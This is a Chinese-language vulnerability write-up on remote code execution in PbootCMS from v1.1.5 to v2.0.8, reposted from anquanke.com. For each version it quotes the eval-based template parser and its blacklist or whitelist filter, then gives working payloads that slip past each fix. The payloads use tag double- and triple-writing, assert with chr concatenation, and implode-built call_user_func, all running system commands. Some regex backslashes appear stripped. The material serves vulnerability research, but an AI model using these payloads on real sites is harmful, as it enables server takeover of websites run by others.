PbootCMS (v1.1.5及其以下)
漏洞復現

poc:
{pboot:if(system(whoami))}{/pboot:if}
漏洞分析
漏洞點位于/Apps/home/controller/ParserController.php
public function parserIfLabel($content)
{
$pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';
$pattern2 = '/pboot:([0-9])+if/';
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html = '';
// 對于無參數函數不執行解析工作
if (preg_match('/[w]+()/', $matches[1][$i])) {
continue;
}
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
......
這里有通過兩個正則表達式后即可進入eval函數且$content是可控的第一個正則表達式限制格式格式必須為{pboot:if(payload)}{/pboot:if}形式第二個正則表達式不允許出現字母后面加()的情況,如phpinfo()這里很好繞過,比如phpinfo(1),system(任意命令)
PbootCMS (v1.1.6-v1.1.8)
漏洞分析
從1.1.6對之前存在的任意代碼執行漏洞進行了修補,增加了部分函數黑名單,代碼如下
public function parserIfLabel($content)
{
$pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';
$pattern2 = '/pboot:([0-9])+if/';
if (preg_match_all($pattern, $content, $matches)) {
// IF語句需要過濾的黑名單
$black = array(
'chr',
'phpinfo',
'eval',
'passthru',
'exec',
'system',
'chroot',
'scandir',
'chgrp',
'chown',
'shell_exec',
'proc_open',
'proc_get_status',
'error_log',
'ini_alter',
'ini_set',
'ini_restore',
'dl',
'pfsockopen',
'syslog',
'readlink',
'symlink',
'popen',
'stream_socket_server',
'putenv',
'unlink',
'path_delete',
'rmdir',
'session',
'cookie',
'mkdir',
'create_dir',
'create_file',
'check_dir',
'check_file'
);
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html = '';
$danger = false;
foreach ($black as $value) {
if (preg_match('/' . $value . '([s]+)?(/i', $matches[1][$i])) {
$danger = true;
break;
}
}
// 如果有危險字符,則不解析該IF
if ($danger) {
continue;
}
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
顯然黑名單有漏網之魚,但是由于將單引號、雙引號都進行了html實體轉義讓很多函數不能使用,但是依然有可以用的,如base64_decode,反引號等
payload1
{pboot:if(1);$a=base64_decode(c3lzdGVt);$a(whoami);//)}{/pboot:if}

payload2
{pboot:if(var_dump(`whoami`))}{/pboot:if}

PbootCMS(v1.1.9-v1.3.2)
發現黑名單有不足于是改成了白名單,代碼如下
public function parserIfLabel($content)
{
$pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';
$pattern2 = '/pboot:([0-9])+if/';
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html = '';
$danger = false;
$white_fun = array(
'date'
);
// 不允許執行帶有函數的條件語句
if (preg_match_all('/([w]+)([s]+)?(/i', $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if (function_exists($value) && ! in_array($value, $white_fun)) {
$danger = true;
break;
}
}
}
// 如果有危險字符,則不解析該IF
if ($danger) {
continue;
} else {
$matches[1][$i] = decode_string($matches[1][$i]); // 解碼條件字符串
}
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
......
如果我們能繞過function_exists的檢測就行了網上有師傅給了如下繞過思路

payload1
{pboot:if(system(whoami));//)}{/pboot:if}

payload2
{pboot:if(1);$a=$_GET[cmd];$a(whoami);//)}{/pboot:if}&cmd=system

后面的版本添加了正則匹配eval,其實也沒啥用,上面兩個payload一樣可以用
PbootCMS(v1.3.3-v2.0.2)
過濾了特殊字符導致使用非交互式直接執行任意代碼的時代結束

然而留言部分仍然存在任意代碼執行,代碼如下
public function parserIfLabel($content)
{
$pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';
$pattern2 = '/pboot:([0-9])+if/';
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html = '';
$danger = false;
$white_fun = array(
'date',
'in_array',
'explode',
'implode'
);
// 還原可能包含的保留內容,避免判斷失效
$matches[1][$i] = $this->restorePreLabel($matches[1][$i]);
// 解碼條件字符串
$matches[1][$i] = decode_string($matches[1][$i]);
// 帶有函數的條件語句進行安全校驗
if (preg_match_all('/([w]+)([\s]+)?(/i', $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {
$danger = true;
break;
}
}
}
// 不允許從外部獲取數據
if (preg_match('/($_GET[)|($_POST[)|($_REQUEST[)|($_COOKIE[)|($_SESSION[)/i', $matches[1][$i])) {
$danger = true;
}
// 如果有危險函數,則不解析該IF
if ($danger) {
continue;
}
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
禁止了外部數據的獲取,白名單處的正則匹配不嚴謹,導致函數名+空格+()可以實現繞過
payload
{pboot:if(system (whoami))}{/pboot:if}

PbootCMS(v2.0.3)
增加了外部獲取數據過濾部分,代碼如下
if (preg_match('/($_GET[)|($_POST[)|($_REQUEST[)|($_COOKIE[)|($_SESSION[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)/i', $matches[1][$i])) {
$danger = true;
}
并不影響我們使用system函數,提交上一個版本payload,發現pboot:if被刪掉了

在apps/home/controller/IndexController.php里第270行使用了將pboot:if替換為空

所以直接雙寫繞過
payload
{pbopboot:ifot:if(system (whoami))}{/pbpboot:ifoot:if}

PbootCMS(v2.0.4-v2.0.7)
使用上一個版本payload,發下雙寫也被過濾了

改動的地方位于/core/basic/Model.php,增加了如下代碼

也就是再過濾了一次pboot:if,然而這種替換為空是根本沒用的,于是三重寫繞過,但是v2.0.4還增加了正則黑名單的過濾,禁用了system等函數,代碼如下正則匹配黑名單加強,代碼如下
if (preg_match('/($_GET[)|($_POST[)|($_REQUEST[)|($_COOKIE[)|($_SESSION[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)/i', $matches[1][$i])) {
$danger = true;
}
發現漏掉了assert函數,沒用過濾chr函數,所以直接拼接繞過
payload
{ppbopboot:ifot:ifboot:if(assert (chr (115).chr (121).chr (115).chr (116).chr (101).chr (109).chr (40).chr (119).chr (104).chr (111). chr (97).chr (109).chr (105).chr (41)))}{/pbpbopboot:ifot:ifoot:if}

PbootCMS(v2.0.8)
從v2.0.8開始采用遞歸替換pboot:if,位于/app/home/controller/MessageController.php第61行
$field_data = preg_replace_r('/pboot:if/i', '', $field_data);
跟進一下,位于/core/function/handle.php
function preg_replace_r($search, $replace, $subject)
{
while (preg_match($search, $subject)) {
$subject = preg_replace($search, $replace, $subject);
}
return $subject;
}
這樣就無法采用雙寫繞過了,正則表達式處改動了,導致函數+空格被過濾,代碼如下
if (preg_match_all('/([w]+)([s\\]+)?(/i', $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if (function_exists($value) && ! in_array($value, $white_fun)) {
$danger = true;
break;
}
}
}
后臺不會經過preg_replace函數的處理,使用的白名單里implode函數仍然可以實現任意代碼執行
payload
{pboot:if(implode('', ['c','a','l','l','_','u','s','e','r','_','f','u','n','c'])(implode('',['s','y','s','t','e','m']),implode('',['w','h','o','a','m','i'])))}{/pboot:if}

后記
PbootCMS的最新版本v3.0.1已經發布修復了該漏洞,從v1.0.1最開始的第一個版本到v2.0.9歷時2年經過不斷的漏洞修復,但是每次修復后就被繞過,不由得引發一系列反思
本文由ghtwf01原創發布
轉載,請參考轉載聲明,注明出處: https://www.anquanke.com/post/id/212603